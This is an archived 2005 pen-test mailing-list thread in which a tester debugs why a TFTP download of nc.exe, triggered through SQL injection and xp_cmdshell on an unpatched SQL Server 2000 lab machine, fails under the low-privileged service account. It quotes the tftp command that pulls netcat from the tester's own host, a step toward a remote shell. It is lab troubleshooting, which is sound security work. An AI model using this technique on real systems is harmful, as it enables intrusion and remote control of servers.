Re: TFTP and XP_CMDSHELL - Weird

["Andres Molinetti" <andymolinetti () hotmail com>]

> From: Diego Kellner <dkepler () gmail com>
> Reply-To: pen-test () securityfocus com
> To: Andres Molinetti <andymolinetti () hotmail com>
> CC: pen-test () securityfocus com
> Subject: Re: TFTP and XP_CMDSHELL - Weird
> Date: Thu, 23 Jun 2005 09:35:40 -0300
>
> Does the TFTP even start? What is the error message you get?

If it is any useful I recieve the following error on the Target machine:
"tftp: No se puede escribir en el archivo local 'c:\xx.exe'"
(tftp: Not able to write in local file 'c:\xx.exe')

In a tcpdump in my TFTP Server I get the following error:
10:41:37.528994 IP TARGET.1942 > SERVER.tftp:  48 ERROR EACCESS no se puede 
abrir el archivo para escritura"
(cannot open file for writing)


Check to
> see the permissions on tftp.exe (the SQL may not be properly patched,
> but someone might have taken the time to secure some key executables
> on WINNT directory according to best practices). If you have no direct
> access to see the permissions on this file, check to see if ping.exe
> works (another 'dangerous' executable that is usually secured along
> with tftp.exe, dcpromo.exe, etc).

I am testing it in my own controlled environment. I installed the TARGET 
myself and it only has Windows 2000 SP4 with latest patches and SQL Server 
2000 unpatched.
Ping works.
Besides, tftp works, but only with admin privileges.

> Regards,
> Kepler
>
>
> On 6/22/05, Andres Molinetti <andymolinetti () hotmail com> wrote:
> > Hi, I am testing a Web App vulnerable to SQL Injection.
> > It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.
> >
> > While trying to use the xp_cmdshell to upload nc.exe from my tftpd 
> server to
> > the Webserver, I experienced some problems.
> >
> > I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.
> >
> > As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost 
> GET
> > nc.exe c:\nc.exe". File is downloaded.
> >
> > When I tried it through the wep app it failed. I tried directly through 
> SQL
> > Query Analizer and it also failed.
> >
> > SQL is running as a low priviledged account (sqlsvc)...
> >
> > Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET 
> nc.exe
> > c:\nc.exe" and  IT FAILED.!!
> >
> > I can easily deduce that the problem is the TFTP client (tftp.exe)...
> >
> > Any Ideas?
> >
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> >

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